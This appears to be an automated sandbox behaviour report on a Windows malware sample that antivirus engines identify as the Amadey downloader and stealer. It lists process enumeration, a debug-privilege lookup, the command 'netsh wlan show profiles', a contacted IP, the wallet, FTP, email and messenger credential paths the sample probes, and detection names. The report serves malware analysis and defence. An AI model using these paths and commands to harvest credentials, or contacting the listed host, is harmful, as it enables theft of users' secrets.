Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 832	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: audiodg.exe process_identifier: 900	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 992	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 292	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: spoolsv.exe process_identifier: 324	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 1048	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: srvany.exe process_identifier: 1284	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: KMService.exe process_identifier: 1436	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: conhost.exe process_identifier: 1448	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: taskhost.exe process_identifier: 1600	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: sppsvc.exe process_identifier: 1820	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 1896	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: dwm.exe process_identifier: 1260	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: explorer.exe process_identifier: 1452	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: pw.exe process_identifier: 988	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: SearchIndexer.exe process_identifier: 1160	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: SearchProtocolHost.exe process_identifier: 936	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: SearchFilterHost.exe process_identifier: 2000	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: mobsync.exe process_identifier: 2284	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: pw.exe process_identifier: 2328	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: taskhost.exe process_identifier: 2360	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: wsqmcons.exe process_identifier: 2368	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: sdclt.exe process_identifier: 2384	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: rundll32.exe process_identifier: 2552	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: schtasks.exe process_identifier: 2796	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: conhost.exe process_identifier: 2804	1	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Jan. 21, 2025, 9:10 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

netsh wlan show profiles

Communicates with host for which no DNS query was performed (1 event)

host

185.196.8.37

Attempts to access Bitcoin/ALTCoin wallets (2 events)

file	C:\Users\test22\AppData\Roaming\Electrum\wallets
file	C:\Users\test22\AppData\Roaming\Litecoin\wallets

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
registry	HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Harvests information related to installed instant messenger clients (18 events)

file	C:\Windows\.purple\accounts.xml
file	C:\util\Office.2010.Toolkit.and.EZ-Activator.v2.1.5.Final\.purple\accounts.xml
file	C:\Windows\System32\.purple\accounts.xml
file	C:\Program Files\Windows Photo Viewer\.purple\accounts.xml
file	C:\.purple\accounts.xml
file	C:\Program Files\_Sandboxie\.purple\accounts.xml
file	C:\Program Files (x86)\Internet Explorer\.purple\accounts.xml
file	C:\Program Files\Windows NT\Accessories\.purple\accounts.xml
file	C:\util\.purple\accounts.xml
file	C:\Python27\.purple\accounts.xml
file	C:\Program Files (x86)\Microsoft Office\Office12\.purple\accounts.xml
file	C:\Users\test22\Downloads\.purple\accounts.xml
file	C:\Program Files (x86)\Google\Chrome\Application\.purple\accounts.xml
file	C:\Program Files (x86)\Hnc\Hwp80\.purple\accounts.xml
file	C:\Program Files\_Wireshark\.purple\accounts.xml
file	C:\Windows\SysWOW64\.purple\accounts.xml
file	C:\Program Files (x86)\EditPlus\.purple\accounts.xml
file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Harvests credentials from local email clients (2 events)

registry	HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 57 AntiVirus engines on VirusTotal as malicious (50 out of 57 events)

Bkav	W32.Common.D3E9E829
Lionic	Trojan.Win32.Amadey.l!c
Cynet	Malicious (score: 100)
CAT-QuickHeal	Trojan.Ghanarava.17358106034d8031
Skyhigh	BehavesLike.Win32.Dropper.th
ALYac	Gen:Variant.Lazy.492566
Cylance	Unsafe
VIPRE	Gen:Variant.Lazy.492566
Sangfor	Trojan.Win32.Save.a
CrowdStrike	win/malicious_confidence_100% (W)
BitDefender	Gen:Variant.Lazy.492566
K7GW	Trojan-Downloader ( 005a0ec91 )
K7AntiVirus	Trojan-Downloader ( 005a0ec91 )
Arcabit	Trojan.Lazy.D78416
VirIT	Trojan.Win32.GenusT.EECW
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/TrojanDownloader.Amadey.G
APEX	Malicious
Avast	Win32:BotX-gen [Trj]
ClamAV	Win.Keylogger.Zusy-10017136-0
Kaspersky	Trojan-Spy.Win32.Stealer.fkkb
Alibaba	TrojanSpy:Win32/Stealer.b52ba136
NANO-Antivirus	Trojan.Win32.Stealer.ktyzru
MicroWorld-eScan	Gen:Variant.Lazy.492566
Rising	Downloader.Amadey!1.1275B (CLASSIC)
Emsisoft	Gen:Variant.Lazy.492566 (B)
F-Secure	Heuristic.HEUR/AGEN.1374093
DrWeb	Trojan.PWS.Amadey.371
Zillya	Trojan.Nymaim.Win32.13769
TrendMicro	TROJ_GEN.R002C0DAK25
McAfeeD	ti!50F6EF79D5F5
CTX	dll.trojan.amadey
Sophos	Troj/Steal-DCI
FireEye	Generic.mg.fd8df0fc2168cb8c
Google	Detected
Avira	HEUR/AGEN.1374093
Antiy-AVL	Trojan[Downloader]/Win32.Amadey
Kingsoft	Win32.Troj.Unknown.a
Microsoft	TrojanSpy:Win32/Multiverze
ViRobot	Trojan.Win.Z.Lazy.1087488.C
GData	Gen:Variant.Lazy.492566
Varist	W32/ABTrojan.OLWD-8323
AhnLab-V3	Trojan/Win.Generic.C5684584
McAfee	Artemis!FD8DF0FC2168
DeepInstinct	MALICIOUS
VBA32	TrojanSpy.Stealer
Malwarebytes	Spyware.PasswordStealer.AMD
Ikarus	Trojan-PSW.Agent
Panda	Trj/GdSda.A

cred.dll

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All